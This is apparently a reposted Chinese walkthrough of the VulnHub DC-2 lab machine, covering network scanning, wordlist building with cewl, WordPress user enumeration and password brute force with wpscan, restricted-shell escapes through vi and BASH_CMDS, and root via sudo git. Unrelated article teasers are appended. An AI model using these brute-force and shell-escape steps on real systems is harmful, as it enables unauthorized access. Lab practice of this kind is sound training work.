vulnhub-dc2靶场

DC2

配置环境vmware17 + nat网络配置

下载地址:DC and Five86 Series Challenges - DC-1

(似乎从2024/1/18左右找不到这个资源了)

攻击机kali与其在同一网段下 ip:192.168.52.130

信息收集

arp-scan -l #内网探测,扫描目标ip

image-20240119134743828

发现目标ip192.168.52.130

使用nmap对目标进行扫描

nmap -T4 -sV -O -A -Pn -p- 192.168.52.130

image-20240119134857209

发现开放端口80,7744

重定向

先访问80的http服务

image-20240119135004267

这里域名跳转了,但是显示找不到此网站,挂上burpsuite,抓包查看情况

HTTP/1.1 301 Moved Permanently
Date: Thu, 18 Jan 2024 20:05:59 
Server: Apache/2.4.10 (Debian)
Location: http://dc-2/
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

工具数据包可知,网站回复301状态码,永久重定向

通过修改host文件,将ip地址和dc-2域名强行绑定,(host可以简单理解为对域名的解析处理,解析手动指定的ip地址,以便于绕过dns查询)

image-20240119135659751

去掉这个勾选只读

然后用vscode打开host文件,在最底层添加一个

192.168.52.130 dc-2

image-20240119135856497

此时直接打开网站

image-20240119140006811

点开右上角的Flag

image-20240119140058737

可以发现这是一个使用wordpress搭建的网站

工具探测

flag中推荐使用cewl工具(一种使用ruby写的爬虫工具,可以爬取网站中的敏感信息组成字典,kali中自动集成了)

cewl http://dc-2 -w passwd.txt

image-20240119141518395

image-20240119141546471

再使用dirb挖掘目录信息

dirb http://dc-2/

image-20240119141926357

发现一个url

http://dc-2/wp-admin/admin.php 

这个url是wordpress搭建的网站的登录页面

image-20240119142053812

关于wordpress搭建的站点,有一个非常好的工具,wpscan,可以利用其扫描功能对其测试

wpscan --url http://dc-2/ -e u      //枚举用户名字

image-20240119142616441

将这些人名写入文件中

echo "admin" >> usr.txt
echo "jerry" >> usr.txt
echo "tom" >> usr.txt

利用wpscan爆破账号密码

wpscan --url http://dc-2/ -U usr.txt -P passwd.txt

image-20240119143702773

jerry / adipiscing
tom / parturient

分别利用进行登录

登录后如果是空白,再重新输入一下urlhttp://dc-2/wp-admin/即可

image-20240119144036235

flag2的意思:在此wordpress中找不到有用的信息了,尝试其他方法

内网提权

之前nmap扫描时发现了一个7744端口的ssh服务

vi提权

基于此尝试ssh连接

ssh tom@192.168.52.130 -p 7744

这里只有tom的账号密码对了

image-20240119144345152

同时发现很多命令无法使用

image-20240119154905083

compgen -c       //查看可以使用的指令

image-20240119155752801

发现可以使用vi命令,此命令存在提权(本质上属于sudo提权)

先查看提示

vi flag3.txt

image-20240119155933240

先提权然后查看jerry账号

操作步骤

vi随便打开文件
输入:
再下面添加
:set shell=/bin/sh
:shell

image-20240119164803845

按回车,再次输入:

image-20240119164829571

image-20240119164842649

这时可以使用cd命令了,cd …找到上一层目录,进入Jerry文件夹下发现flag4,使用vi flag4.txt查看

image-20240119165113867

权限过低,想办法提权

rbash环境变量

先使用exit退出

export -p        //查看环境变量
BASH_CMDS[a]=/bin/sh;a         //把/bin/sh给a
/bin/bash
export PATH=$PATH:/bin/         //添加环境变量
export PATH=$PATH:/usr/bin      //添加环境变量

image-20240119170254942

发现以及可以使用被限制的命令了

find / -perm -u=s -type f 2>/dev/null //找到存在sudo权限的命令

image-20240119170423065

切换用户

su jerry 
git提权

查看sudo权限

sudo -l

image-20240119172000450

可以发现git命令存在sudo提权

基于此进行权限提升

方式:


sudo git help config #在末行命令模式输入 
!/bin/bash 或 !'sh' #完成提权 
sudo git -p help 
!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell

输入sudo git help config后会有一个很长的文本,在此基础上,按下: ,在输入!/bin/bash

然后按q退出,再输出sudo git -p help命令,同上输入!/bin/bash

image-20240119172321933

image-20240119172502115

image-20240119172527354

至此结束

总结

1、hosts文件指定ip对应域名

2、工具使用:cewl(收集网站字典)、dirb(目录探测)、wpscan(针对wordpress制作的扫描工具)

3、linux命令

compgen -c #查看当前可用命令
find / -perm -u=s -type f 2>/dev/null #查找存在sudo权限的命令
sudo -l #查看当前用户可使用的sudo权限

6)]

[外链图片转存中…(img-UnDKf5oc-1705657141846)]

至此结束

总结

1、hosts文件指定ip对应域名

2、工具使用:cewl(收集网站字典)、dirb(目录探测)、wpscan(针对wordpress制作的扫描工具)

3、linux命令

compgen -c #查看当前可用命令
find / -perm -u=s -type f 2>/dev/null #查找存在sudo权限的命令
sudo -l #查看当前用户可使用的sudo权限

4、权限提升:vi提权,rbash环境变量提权,git提权

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/638405.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

clickhouse 单副本和双副本升级差别

云上单副本就够了,成本更低,而且基于云盘不会丢数据。 双副本的优势在于升级、重启等可滚动进行,考虑到这是少数场景,如果业务不是非常敏感,为了这个滚动付出多一倍成本不太值得。 clickhouse,单副本&…

【服务器】搭建一台属于自己的服务器

​🌈个人主页:Sarapines Programmer🔥 系列专栏:【服务器】搭建网站⏰诗赋清音:云生高巅梦远游, 星光点缀碧海愁。 山川深邃情难晤, 剑气凌云志自修。 目录 1. 购买服务器和域名 1.1 购买服务器 1.1.1 阿里云服务器 1.1.2 香草云服务器 1.2 购买域名 2. 安装宝塔…

Blender——将模型及其所有纹理与材质导入unity

前期准备 参考视频:7分钟教会你如何将Blender的模型材质导入unity_哔哩哔哩_bilibili 实验模型官网下载地址:Hoi An Ancient House Model free VR / AR / low-poly 3D model CSDN下载链接: 【免费】Blender三维模型-古代房屋模型&#xff…

【Linux】第三十三站:日志

文章目录 一、实现一个简单的日志1.简介2.可变参数3.错误等级4.时间5.打印每一条参数6.与前面的一些代码搭配使用 二、完整代码 一、实现一个简单的日志 1.简介 我们运行代码的时候,我们希望有各种各样的运行时候的一些信息。这也就是日志 它一半有日志时间&…

【GitHub项目推荐--老照片变清晰】【转载】

先来看一个效果图,这个开源项目能把模糊爆浆的老照片 1 s 内变成清晰、高清的有色照片。 而以上这些效果,无需专业 PS 技能,只用一个网页端的 Demo、点点鼠标上传图片就能搞定。 这个修复神器,由腾讯 PCG ARC 实验室研发&#xf…

结构体大揭秘:代码中的时尚之选(上)

目录 结构结构的声明结构成员的类型结构体变量的定义和初始化结构体成员的访问结构体传参 结构 结构是一些值的集合,这些值被称为成员变量。之前说过数组是相同类型元素的集合。结构的每个成员可以是不同类型的变量,当然也可以是相同类型的。 我们在生活…

【系统调用IO】open、close、read、write、lseek

目录 3 系统调用IO3.1 文件描述符3.1.1 FILE结构体3.2.2 文件描述符 3.3 open、close、read、write、lseek3.3.1 文件权限3.3.2 open3.3.3 close3.3.4 read3.3.5 write3.3.6 lseek3.3.7 代码示例 文件io和标准io的区别 橙色 3 系统调用IO 3.1 文件描述符 3.1.1 FILE结构体 …

多线程编程1

一、线程的引入 上节,我们介绍了进程的概念,以及操作系统内核是如何管理进程的(描述组织),PCB中的核心属性有哪些, 引入进程这个概念,最主要的目的,就是为了解决“并发编程”这样的…

JavaScript语法摘要

JavaScript语法摘要 JavaScript语法通过各种规则和组合,就能创建出丰富多彩的程序呢!它包括了怎么声明和使用变量、如何定义和赋值,还有怎么用运算符和表达式等等。另外,我还发现了一些有趣的概念,比如关键字、注释、…

探索Flask中的RESTful API设计与实现

Restful API 基础介绍: ​ RESTful API(Representational State Transfer)是一种基于HTTP协议设计的应用程序编程接口(API)风格,用于在客户端和服务器之间进行通信。它提供了一组规范和约束,用…

Python学习从0到1 day7 Python判断语句

路远殊途,祝你得偿所愿 ——24.1.21 前言 进行逻辑判断,是生活中常见的行为,同样,在程序中,进行逻辑判断也是最为基础的功能 一、布尔类型和比较运算符 1.布尔类型 进行判断,有两个结果,True、…

C 练习实例37 - 排序

题目:对10个数进行排序。 从小到大排序题目分析: 1 6 3 4 8 9 0 2 5 7(假设10个数据) 第一个和第二个比,把大的那个数放在右边 第二个和第三个比,把大的那个数放在右边 以此类推...... 从而把最大的那…

springboot集成COS对象存储

1.申请腾讯云存储桶 新建密钥(后面配置要用到) 2.编写工具类 此处使用工具类进行基本属性配置,也可选择在yml中配置 package com.sfy.util;import com.qcloud.cos.COSClient; import com.qcloud.cos.ClientConfig; import com.qcloud.cos.a…

基于xgboost-LGBM-SVM的病人哮喘病识别检测 数据+代码

基于xgboost-LGBM-SVM的病人哮喘病识别检测-完整代码可直接运行_哔哩哔哩_bilibili 代码: from sklearn import preprocessing import random from sklearn.model_selection import train_test_split from sklearn.preprocessing import MinMaxScaler from sklearn import pr…

声明式注解对XXL-JOB的定时任务代码生效吗?

说明:源于博主的思考,本文验证一下声明式注解,即Transactional注解,对XXL-JOB的定时任务是否生效。 准备 首先,创建一个需要事务的场景。有两张表,一张部门表,一张用户表,用户隶属…

字符串经典基础面试题(算法村第十二关白银挑战)

反转问题 反转字符串 344. 反转字符串 - 力扣(LeetCode) 编写一个函数,其作用是将输入的字符串反转过来。输入字符串以字符数组 s 的形式给出。 不要给另外的数组分配额外的空间,你必须**原地修改输入数组**、使用 O(1) 的额外…

基于YOLOv8的目标识别、计数、电子围栏的项目开发过程

0 前言 用于生产环境中物体检测、识别、跟踪,人、车流量统计,越界安全识别 1 YOLOv8概述 YOLOv8 是Ultralytics的YOLO的最新版本。作为一种前沿、最先进(SOTA)的模型,YOLOv8在之前版本的成功基础上引入了新功能和改进,以提高性…

cupy,一个超级实用的 Python 库!

更多资料获取 📚 个人网站:ipengtao.com 大家好,今天为大家分享一个超级实用的 Python 库 - cupy。 Github地址:https://github.com/cupy/cupy 深度学习和科学计算需要处理大规模的数据和复杂的计算任务,而Python是一…

spring boot 常用的 Cron 表达式

在使用定时调度任务的时候,我们最常用的,就是cron表达式了。通过cron表达式来指定任务在某个时间点或者周期性的执行。cron表达式配置起来简洁方便,无论是Spring的Scheduled还是用Quartz框架,都支持cron表达式。 cron表达式含义常…

C语言易忘操作符全集

位操作符 1.按位与(&) 这个操作符对两个整数的每一位进行比较,如果两个相应的位都为1,则结果为1,否则为0。 int a 60; // 60 0010 1100 in binary int b 13; // 13 0000 1101 in binary int c a & b; // c 0000 110…